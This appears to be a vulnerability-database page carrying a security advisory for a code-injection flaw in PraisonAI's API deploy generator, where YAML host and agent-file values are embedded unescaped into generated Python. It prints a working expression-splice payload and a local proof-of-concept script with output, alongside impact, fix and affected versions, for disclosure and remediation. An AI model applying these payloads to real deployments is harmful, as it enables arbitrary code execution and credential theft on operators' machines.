VDB
Sign up
HIGH7.8

PYSEC-2026-4251

PraisonAI: API deploy code generator embeds unescaped YAML fields into Python source

Quick fix

PYSEC-2026-4251 — praisonai: upgrade to the fixed version with the command below.

pip install --upgrade 'praisonai>=4.6.78'

Details

# API deploy code generator embeds unescaped YAML fields into Python source

## Summary

PraisonAI's API deployment generator copies `deploy.api.host` from `agents.yaml` directly into generated Python source without safe literal encoding. A malicious PraisonAI project can set that host value to a Python expression splice; when an operator runs the API deploy flow, the generated server source compiles and executes the injected expression at startup. The same generator also embeds `agents_file` directly into generated route-handler expressions, giving a second route-time source injection site if the agent file path is attacker-controlled.

## Technical Details

The vulnerable path starts with deployment configuration parsing. `Deploy.from_yaml()` reads the operator-supplied `agents.yaml`, `validate_agents_yaml()` accepts `deploy.api.host` as a string, and API deployments call `start_api_server(self.agents_file, self.config.api)`. `start_api_server()` calls `generate_api_server_code()` and executes the generated Python file with `python`.

The current generator in `src/praisonai/praisonai/deploy/api.py` treats deployment data as Python syntax:

```python def generate_api_server_code(agents_file: str, config: Optional[APIConfig] = None) -> str: ... code = f'''""" ... praisonai = PraisonAI(agent_file="{agents_file}") ... "agent_file": "{agents_file}" ... app.run( host='{config.host}', port={config.port}, debug={config.reload} ) ''' ```

The violated invariant is that deployment configuration values should remain inert strings. Instead, `config.host` is inserted between single quotes in generated Python source. A value like this breaks out of the generated string literal and evaluates a Python expression:

```text ' + (__import__("pathlib").Path("poc.txt").write_text("DEPLOY_API_HOST_CODE_EXECUTED") and "") + ' ```

The generated startup code then becomes equivalent to:

```python app.run( host='' + (__import__("pathlib").Path("poc.txt").write_text("DEPLOY_API_HOST_CODE_EXECUTED") and "") + '', port=8005, debug=False, ) ```

That expression executes before Flask handles any request. This is not a shell parsing issue and not just direct use of an unsafe Python API; it is a data-to-code transformation in the deployment generator.

`agents_file` has the same class of unsafe source interpolation in two generated route-handler expressions. A value shaped as `" + (<side effect> and "") + "` remains valid both in `PraisonAI(agent_file=...)` and in the `/agents` JSON response expression, so it executes when the generated handler evaluates that value.

## PoV

The following local-only PoV stubs Flask and PraisonAI so it does not start a listener, invoke a model provider, or contact any external service. It proves that a malicious host value survives YAML schema parsing and executes when the generated server module is evaluated as `__main__`; it also includes a safe-host negative control and the secondary `agents_file` route-time interpolation check.

```python from pathlib import Path import json import sys import tempfile import types

import yaml

def install_stubs(): class FakeApp: def __init__(self, name): self.name = name

def route(self, *args, **kwargs): def deco(func): return func

return deco

def run(self, *args, **kwargs): return None

flask = types.ModuleType("flask") flask.Flask = FakeApp flask.request = types.SimpleNamespace(headers={}, get_json=lambda: {"message": "hello"}) flask.jsonify = lambda obj: obj sys.modules["flask"] = flask

flask_cors = types.ModuleType("flask_cors") flask_cors.CORS = lambda app: app sys.modules["flask_cors"] = flask_cors

praisonai_mod = types.ModuleType("praisonai")

class FakePraisonAI: def __init__(self, agent_file): self.agent_file = agent_file

def run(self): return "ok"

praisonai_mod.PraisonAI = FakePraisonAI sys.modules["praisonai"] = praisonai_mod

def main(repo): sys.path.insert(0, str(Path(repo) / "src" / "praisonai")) from praisonai.deploy.api import generate_api_server_code from praisonai.deploy.models import APIConfig from praisonai.deploy.schema import validate_agents_yaml

install_stubs()

with tempfile.TemporaryDirectory() as tmp: tmp_path = Path(tmp) host_marker = tmp_path / "host-marker.txt" file_marker = tmp_path / "agent-file-marker.txt" host_payload = "' + (__import__(\"pathlib\").Path(" + repr(str(host_marker)) + ").write_text(\"DEPLOY_API_HOST_CODE_EXECUTED\") and \"\") + '" agents_yaml = tmp_path / "agents.yaml" agents_yaml.write_text(yaml.safe_dump({ "deploy": { "type": "api", "api": {"host": host_payload, "port": 8005, "auth_enabled": False}, }, "agents": [{"name": "demo", "role": "demo", "goal": "demo"}], })) parsed_config = validate_agents_yaml(str(agents_yaml))

results = [] for label, config in [ ("safe_host", APIConfig(host="127.0.0.1", auth_enabled=False)), ("malicious_host_from_yaml", parsed_config.api), ]: host_marker.unlink(missing_ok=True) code = generate_api_server_code("agents.yaml", config) compile(code, f"<generated-{label}>", "exec") exec(code, {"__name__": "__main__"}) results.append({ "case": label, "compiled": True, "host_preserved_by_yaml_parser": config.host == host_payload if label.startswith("malicious") else None, "marker_exists_after_startup": host_marker.exists(), "marker_contents": host_marker.read_text() if host_marker.exists() else None, "generated_contains_raw_host": config.host in code, })

file_payload = "\" + (__import__(\"pathlib\").Path(" + repr(str(file_marker)) + ").write_text(\"DEPLOY_API_AGENT_FILE_CODE_EXECUTED\") and \"\") + \"" file_marker.unlink(missing_ok=True) code = generate_api_server_code(file_payload, APIConfig(host="127.0.0.1", auth_enabled=False)) compile(code, "<generated-agent-file>", "exec") namespace = {"__name__": "generated_agent_file"} exec(code, namespace) namespace["list_agents"]() results.append({ "case": "malicious_agent_file_route_value", "compiled": True, "marker_exists_after_list_agents": file_marker.exists(), "marker_contents": file_marker.read_text() if file_marker.exists() else None, "generated_contains_raw_agent_file": file_payload in code, })

print(json.dumps(results, indent=2)) return 0 if results[1]["marker_exists_after_startup"] and results[2]["marker_exists_after_list_agents"] else 1

if __name__ == "__main__": raise SystemExit(main(sys.argv[1] if len(sys.argv) > 1 else ".")) ```

## PoC

Command used against current source:

```sh uv run --with pydantic --with pyyaml python pov_deploy_api_config_injection.py /path/to/PraisonAI ```

Decisive output:

```json [ { "case": "safe_host", "compiled": true, "host_preserved_by_yaml_parser": null, "marker_exists_after_startup": false, "marker_contents": null, "generated_contains_raw_host": true }, { "case": "malicious_host_from_yaml", "compiled": true, "host_preserved_by_yaml_parser": true, "marker_exists_after_startup": true, "marker_contents": "DEPLOY_API_HOST_CODE_EXECUTED", "generated_contains_raw_host": true }, { "case": "malicious_agent_file_route_value", "compiled": true, "marker_exists_after_list_agents": true, "marker_contents": "DEPLOY_API_AGENT_FILE_CODE_EXECUTED", "generated_contains_raw_agent_file": true } ] ```

The `safe_host` negative control compiles and evaluates the generated module without a marker side effect. The `malicious_host_from_yaml` case proves the YAML parser preserved the malicious host as a config string and the generated server executed it at startup. The `malicious_agent_file_route_value` case proves the secondary file-path interpolation executes when the generated `/agents` handler evaluates the generated response.

## Impact

If an operator deploys a malicious PraisonAI project configuration, arbitrary Python can execute in the deploy process when the generated API server starts. That process can access the operator's environment, source tree, local files, model/API credentials, and deployment credentials. This is a project-configuration supply-chain issue rather than an unauthenticated remote endpoint: the security boundary is that deployment config values should stay data and not become executable Python source.

## Suggested Fix

Do not interpolate deployment values directly into generated Python source. Use `repr()` or `json.dumps()` for every generated Python literal, or load runtime values from a JSON sidecar, environment variable, or command-line argument instead of embedding them into source. For the current generator, replace `host='{config.host}'` with a safely encoded literal such as `host={config.host!r}`, and apply the same safe encoding to `agents_file` in both generated sites. Add regression tests with host and agent-file values containing quotes, newlines, and expression-splice strings; the generated source should compile and treat those values as inert strings.

## Affected Package/Versions

Package: `praisonai`

Confirmed current head: `1620b49f36945d8cc8ee5635b906c960df5097a0`

Static sweep:

| Target | Result | | --- | --- | | `v4.5.128` | affected; raw `agents_file` and `config.host` interpolation present | | `v4.6.58` | affected; raw `agents_file` and `config.host` interpolation present | | `v4.6.59` | affected; raw `agents_file` and `config.host` interpolation present | | `v4.6.60` | affected; raw `agents_file` and `config.host` interpolation present | | `v4.6.62` | affected; raw `agents_file` and `config.host` interpolation present | | `v4.6.63` | affected; raw `agents_file` and `config.host` interpolation present | | current `1620b49f` | affected; raw `agents_file` and `config.host` interpolation present |

Suggested severity: High

Suggested CVSS v3.1:

```text CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H ```

Suggested CWEs:

- CWE-94: Improper Control of Generation of Code - CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code - CWE-116: Improper Encoding or Escaping of Output

## Advisory History

The closest same-generator comparator is `GHSA-8444-4fhq-fxpq`, "PraisonAI deploy --type api emits a Flask server with authentication disabled by default." That advisory concerns the security posture of the generated Flask API server: missing authentication by default. This report is different: authentication can be enabled or disabled and the issue still exists because `generate_api_server_code()` emits deployment strings as Python syntax. The exploit primitive is generated-source injection from `deploy.api.host` and `agents_file`, not unauthenticated request access to the generated API.

This is also distinct from `GHSA-6rmh-7xcm-cpxj` / `CVE-2026-44338`, which addressed a legacy generated API server authentication issue. Both authentication advisories are useful context because they involve generated API server deployment, but neither covers unsafe literal encoding or Python expression injection in `generate_api_server_code()`.

AgentOS, AgentTeam, A2U, MCP, and recipe-server authentication bypass reports are separate server-surface issues. Their root cause is missing request authentication or bind-policy enforcement, while this report's root cause is unsafe code generation before the server handles traffic.

## References

- `src/praisonai/praisonai/deploy/api.py`: `generate_api_server_code()` and `start_api_server()` - `src/praisonai/praisonai/deploy/main.py`: `Deploy.from_yaml()` and API/Docker deployment paths - `src/praisonai/praisonai/cli/features/deploy.py`: CLI deployment handler - `GHSA-8444-4fhq-fxpq`: prior `praisonai deploy --type api` generated API server authentication-default issue - `GHSA-6rmh-7xcm-cpxj` / `CVE-2026-44338`: prior generated API server authentication issue - CWE-94: https://cwe.mitre.org/data/definitions/94.html - CWE-95: https://cwe.mitre.org/data/definitions/95.html - CWE-116: https://cwe.mitre.org/data/definitions/116.html

Are you affected?

Enter the version of the package you're using.

Affected packages

PyPI/praisonai
Introduced in: 0Fixed in: 4.6.78
Fixpip install --upgrade 'praisonai>=4.6.78'

References